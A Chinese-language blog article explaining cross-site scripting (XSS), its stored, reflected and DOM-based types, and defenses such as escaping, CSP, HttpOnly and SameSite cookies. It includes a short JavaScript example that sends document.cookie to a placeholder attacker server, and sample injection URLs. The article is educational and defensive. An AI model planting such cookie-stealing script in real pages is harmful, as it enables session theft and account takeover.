xss攻击是什么?

XSS 是什么?

XSS,即跨站脚本攻击,是 Cross-site scripting 的简称。

完整名称缩写后本该是 CSS,但这恰好与 层叠样式表 Cascading Style Sheets 的缩写撞车了,为了加以区分,便采用了 XSS 这个叫法。

XSS,归根结底属于代码注入。借助某种途径在目标网站中插入一段恶意脚本,当访客浏览该站点时便会触发这段代码。

攻击手段大致包含以下几类:

  • 窃取用户的登录凭据,得手后登入账户窃取隐私数据

const img = new Image();
img.src = 攻击者的服务器_ip + document.cookie;

  • 直接执行某些需要授权才能完成的操作,例如替站内某人投票。
  • 针对小型站点发起 Dos 攻击。所谓 Dos 就是在极短时间内发送海量请求,使网站来不及响应,造成服务不可用。假设你在百度首页成功植入了恶意脚本,该脚本持续向某个小站发起请求。与此同时大量用户打开百度首页,请求量就变得极其惊人,小站直接瘫痪。

XSS 分类

XSS 主要包含:存储型 XSS、反射型 XSS、以及 DOM 型 XSS。

存储型 XSS

恶意脚本被永久性地存放在数据库里。

例如在个人简介的文本字段中,写入了 <script>// 此处为一段恶意代码</script>。当访客打开攻击者的个人主页时,若服务端渲染直接采用了这段数据,且未做任何转义处理,生成的 HTML 里便夹带了这段脚本,随即执行。

反射型 XSS

部分网页会把 URL 中的某些参数当作页面内容来渲染。

比如我们期望用户完成支付后跳转至结果页,该页面通过 URL 中的查询字符串来展示信息,例如 http://a.com/order?message=成功,我们会取出 message 的值”成功”,把这段文字渲染到页面上。

倘若这个”成功”被攻击者替换成恶意脚本,变为 http://a.com/order?message=<script>// 恶意脚本内容</script>,且站点未做转义处理,那么这段恶意脚本就会被嵌入并执行。

当然这类链接看起来很异常,用户正常情况下不会接触到。

于是攻击者需要提前构造好,再通过某些手段引导用户去访问,比如借助钓鱼邮件诱导点击。

DOM 型 XSS

DOM 型 XSS 与反射型较为相似,但它跟后端没有关系,属于前端的漏洞。

前两种类型采用的是服务端渲染,即用户请求 HTML 时,由服务端组装好完整的 HTML 返回。

DOM 型 XSS 则是服务端并未返回完整的 HTML,而是交由前端来拼接渲染,若未做特殊处理,同样会引发恶意代码注入。

XSS 防御

  • 不要轻信用户提交的数据;
  • 运用转义,通常是对 '&<> 进行转义。例如 React 已对字符做了防 XSS 处理,源码位置:https://github.com/facebook/react/blob/HEAD/packages/react-dom/src/server/escapeTextForBrowser.js#L51
  • 若采用后端渲染,也务必做好转义或过滤处理;
  • 部署 CSP(内容安全策略)。Twitter 站点就应用了该策略;
  • 对敏感 cookie 加上 http-only 标记,使前端脚本无法读取;
  • cookie 的 SameSite 属性建议调整为 Strict 或 Lax,让跨域 HTTP 请求的头部无法自动附带 cookie;
  • 发起敏感操作时,增加验证码验证;
  • 限制内容输入长度(效果有限);

结尾

XSS 攻击属于一种相当普遍的代码注入类攻击。

日常开发中,需留意哪些数据在渲染时可能存在 XSS 注入隐患,做好必要的防护措施,希望本文对你有所启发。

原创文章,作者:余初云,如若转载,请注明出处:https://blog.jidcy.com/jsjc/2882.html

Like (1)
Previous 2026年6月8日
Next 2026年6月8日

相关推荐

  • 什么是僵尸网络?

    僵尸网络,作为一类极具破坏性的网络攻击手段,是指攻击者借助多台联网设备,在每台设备上植入并运行特定的机器人程序,进而操控这些被感染的设备,对服务器、公司网站、其他设备或个人发起攻击…

    2026年4月28日
    0
  • HTTPS靠什么保障通信安全?

    大多数人都听说过HTTPS,也清楚它的作用是保障通信安全,但如果没仔细研究过,大概率说不清它到底是怎么做到的。 这篇文章围绕三个核心问题展开: 1、HTTPS到底是什么? 2、它跟…

    2026年6月11日
    0
  • 如何办理ICP许可证?

    一、什么是ICP许可证? 增值电信业务经营许可证B25信息服务业务(仅限互联网信息服务业务)( Internet Content Provider )简称:ICP证。是指:企业通过…

    2026年7月16日
    0
  • 网络信息安全是什么?要如何做?

    网络信息安全即网络空间中的信息安全保障,是指网络体系的硬件配置、软件程序及其体系内的数据获得有效防护,免受偶然性或恶意性因素的损毁、篡改、泄露,确保体系持续稳定正常运作,网络服务持…

    2026年6月30日
    0
  • 如何在Ubuntu和Debian上设置时区和NTP

    对于服务器管理员来说,正确配置和维护服务器上的时间是很重要的。错误的时间配置将导致服务器环境混乱,例如数据不一致、数据同步失败和作业调度等问题。 为了避免这些情況,首先需要在服务器…

    2026年5月11日
    0
  • 云服务器安全组是做什么用的?

    安全组属于一类虚拟防火墙,拥有有状态的数据包筛选能力,主要用于对云主机、负载均衡器、云数据库等资源实施网络访问管控,对实例层级的进出流量加以约束,属于关键的网络安全隔离措施。 通过…

    2026年6月8日
    0
  • 什么是点对点协议(PPP)?

    互联网依赖于许多通信规则,即协议,在设备之间移动数据。PPP (Point-to-Point Protocol,点对点协议)是早期最重要的直接连接协议之一。 PPP允许两台设备在一…

    2026年4月13日
    0
  • 什么是 Shell?

    什么是 Shell? Shell 是一个命令行解释器,它是用户与操作系统内核之间的接口。你输入命令,Shell 负责解析这些命令并调用系统功能来执行,然后把结果返回给你。 简单理解…

    2026年7月23日
    0
  • 轻量云主机搭建私有云盘:低成本实现个人文件多端同步

    在数字生活高度渗透的今天,我们的手机、电脑、平板里存满了工作文档、旅行照片、学习资料,跨设备传输文件却成了不少人的日常痛点:微信传文件大小受限,QQ传输经常中断,不同品牌的设备自带…

    2026年8月21日
    0
  • 什么是等保?企业为什么要做等保测评

    什么是等保 等保,全称为网络安全等级保护,是我国网络安全领域当中的一项基础性制度安排。 等保的核心目的,在于依据网络信息及其信息承载体各自的重要程度进行相应的等级划分,并基于所划定…

    2026年7月15日
    0